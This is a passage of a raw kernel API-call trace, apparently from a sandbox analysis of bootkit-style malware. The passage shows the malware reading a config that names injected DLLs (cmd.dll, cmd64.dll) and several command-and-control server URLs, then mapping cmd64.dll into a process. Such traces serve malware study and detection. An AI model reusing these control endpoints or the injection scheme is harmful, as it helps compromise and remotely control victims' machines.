Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa8002a499f0 [0071.915] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8002a499f0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8002a499f0) [0071.915] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0071.915] IdePortDispatch () returned 0x103 [0071.915] KeWaitForMutexObject () returned 0x0 [0071.915] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.915] KeLeaveCriticalRegion () [0071.915] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.916] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0071.916] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0071.916] strncpy (in: _Dest=0xfffffa800db40274, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0071.916] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0071.916] ExFreePoolWithTag (P=0xfffff8a00648a150, Tag=0x0) [0071.916] ZwClose (Handle=0xffffffff800001f4) returned 0x0 [0071.916] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.916] KeEnterCriticalRegion () [0071.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.916] IoGetRequestorProcess (Irp=0xfffffa80021e92b0) returned 0xfffffa80018ab040 [0071.916] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa800284a420, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0071.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.916] KeLeaveCriticalRegion () [0071.916] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.916] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.916] KeEnterCriticalRegion () [0071.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.916] ExFreePoolWithTag (P=0xfffffa80018b0510, Tag=0x0) [0071.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.916] KeLeaveCriticalRegion () [0071.917] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.917] KeStackAttachProcess (in: PROCESS=0xfffffa80034ba060, ApcState=0xfffff88002f8fa58 | out: PROCESS=0xfffffa80034ba060, ApcState=0xfffff88002f8fa58) [0071.917] _snwprintf (in: _Dest=0xfffffa800db4006c, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0071.917] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8fa38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0071.917] ZwOpenFile (in: FileHandle=0xfffff88002f8f9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f8fa08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8fa48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f8f9e8*=0xffffffff800001f4, IoStatusBlock=0xfffff88002f8fa48) returned 0x0 [0071.917] _snprintf (in: _Dest=0xfffff88002f8f150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0071.917] KeEnterCriticalRegion () [0071.917] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.917] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.917] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.917] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.917] KeInitializeEvent (in: Event=0xfffff88002f8efc0, Type=0x0, State=0 | out: Event=0xfffff88002f8efc0) [0071.917] IdePortDispatch () returned 0x103 [0071.917] KeWaitForMutexObject () returned 0x0 [0071.917] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0071.918] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0071.918] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.918] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.918] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.918] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0071.918] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0071.918] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0071.918] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0071.918] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0071.918] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800d30e900 [0071.918] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.918] KeLeaveCriticalRegion () [0071.918] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.918] ZwCreateSection (in: SectionHandle=0xfffff88002f8f9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff800001f4 | out: SectionHandle=0xfffff88002f8f9e0*=0x14) returned 0x0 [0071.918] _snprintf (in: _Dest=0xfffff88002f8f260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0071.918] KeEnterCriticalRegion () [0071.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.918] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.918] KeInitializeEvent (in: Event=0xfffff88002f8f0f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0f0) [0071.918] IdePortDispatch () returned 0x103 [0071.919] KeWaitForMutexObject () returned 0x0 [0071.919] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0071.919] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0071.919] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.919] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.919] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.919] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0071.919] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0071.919] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0071.919] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0071.919] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.919] KeLeaveCriticalRegion () [0071.919] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.919] ZwMapViewOfSection (in: SectionHandle=0x14, ProcessHandle=0xffffffff800001dc, BaseAddress=0xfffff88002f8f9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00, InheritDisposition=0x2, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f8f9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00*=0x6000) returned 0x0 [0071.919] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0071.919] _snprintf (in: _Dest=0xfffff88002f8f390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0071.919] KeEnterCriticalRegion () [0071.919] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.919] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003429000 [0071.920] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.920] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.920] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.920] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.920] IdePortDispatch () returned 0x103 [0071.920] KeWaitForMutexObject () returned 0x0 [0071.920] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0071.920] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0071.920] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.920] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.920] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.920] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0071.920] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0071.920] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0071.920] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0071.920] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.920] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.920] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.921] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.921] IdePortDispatch () returned 0x103 [0071.921] KeWaitForMutexObject () returned 0x0 [0071.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.921] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.921] IdePortDispatch () returned 0x103 [0071.921] KeWaitForMutexObject () returned 0x0 [0071.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.921] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.921] IdePortDispatch () returned 0x103 [0071.922] KeWaitForMutexObject () returned 0x0 [0071.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.922] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.922] IdePortDispatch () returned 0x103 [0071.922] KeWaitForMutexObject () returned 0x0 [0071.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.922] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.922] IdePortDispatch () returned 0x103 [0071.923] KeWaitForMutexObject () returned 0x0 [0071.923] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.923] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.923] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.923] IdePortDispatch () returned 0x103 [0071.923] KeWaitForMutexObject () returned 0x0 [0071.923] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.923] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.923] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.923] IdePortDispatch () returned 0x103 [0071.924] KeWaitForMutexObject () returned 0x0 [0071.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.924] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.924] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.924] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.924] IdePortDispatch () returned 0x103 [0071.924] KeWaitForMutexObject () returned 0x0 [0071.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.924] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.924] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.924] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.924] IdePortDispatch () returned 0x103 [0071.927] KeWaitForMutexObject () returned 0x0 [0071.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.927] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.927] IdePortDispatch () returned 0x103 [0071.927] KeWaitForMutexObject () returned 0x0 [0071.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.927] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.927] IdePortDispatch () returned 0x103 [0071.928] KeWaitForMutexObject () returned 0x0 [0071.928] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.928] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.928] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.928] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.928] IdePortDispatch () returned 0x103 [0071.928] KeWaitForMutexObject () returned 0x0 [0071.928] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.928] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.928] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.928] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.928] IdePortDispatch () returned 0x103 [0071.929] KeWaitForMutexObject () returned 0x0 [0071.929] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.929] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.929] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.929] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.929] IdePortDispatch () returned 0x103 [0071.929] KeWaitForMutexObject () returned 0x0 [0071.929] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.929] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.929] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.929] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.929] IdePortDispatch () returned 0x103 [0071.930] KeWaitForMutexObject () returned 0x0 [0071.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.930] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.930] IdePortDispatch () returned 0x103 [0071.930] KeWaitForMutexObject () returned 0x0 [0071.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.930] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.930] IdePortDispatch () returned 0x103 [0071.931] KeWaitForMutexObject () returned 0x0 [0071.931] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.931] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.931] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.931] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.931] IdePortDispatch () returned 0x103 [0071.931] KeWaitForMutexObject () returned 0x0 [0071.931] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.931] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.931] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.931] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.931] IdePortDispatch () returned 0x103 [0071.932] KeWaitForMutexObject () returned 0x0 [0071.932] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.932] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.932] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.932] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.932] IdePortDispatch () returned 0x103 [0071.932] KeWaitForMutexObject () returned 0x0 [0071.932] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.932] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.932] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.932] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.932] IdePortDispatch () returned 0x103 [0071.933] KeWaitForMutexObject () returned 0x0 [0071.933] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.933] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.933] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.933] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.933] IdePortDispatch () returned 0x103 [0071.933] KeWaitForMutexObject () returned 0x0 [0071.933] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.933] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.933] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.933] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.933] IdePortDispatch () returned 0x103 [0071.933] KeWaitForMutexObject () returned 0x0 [0071.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 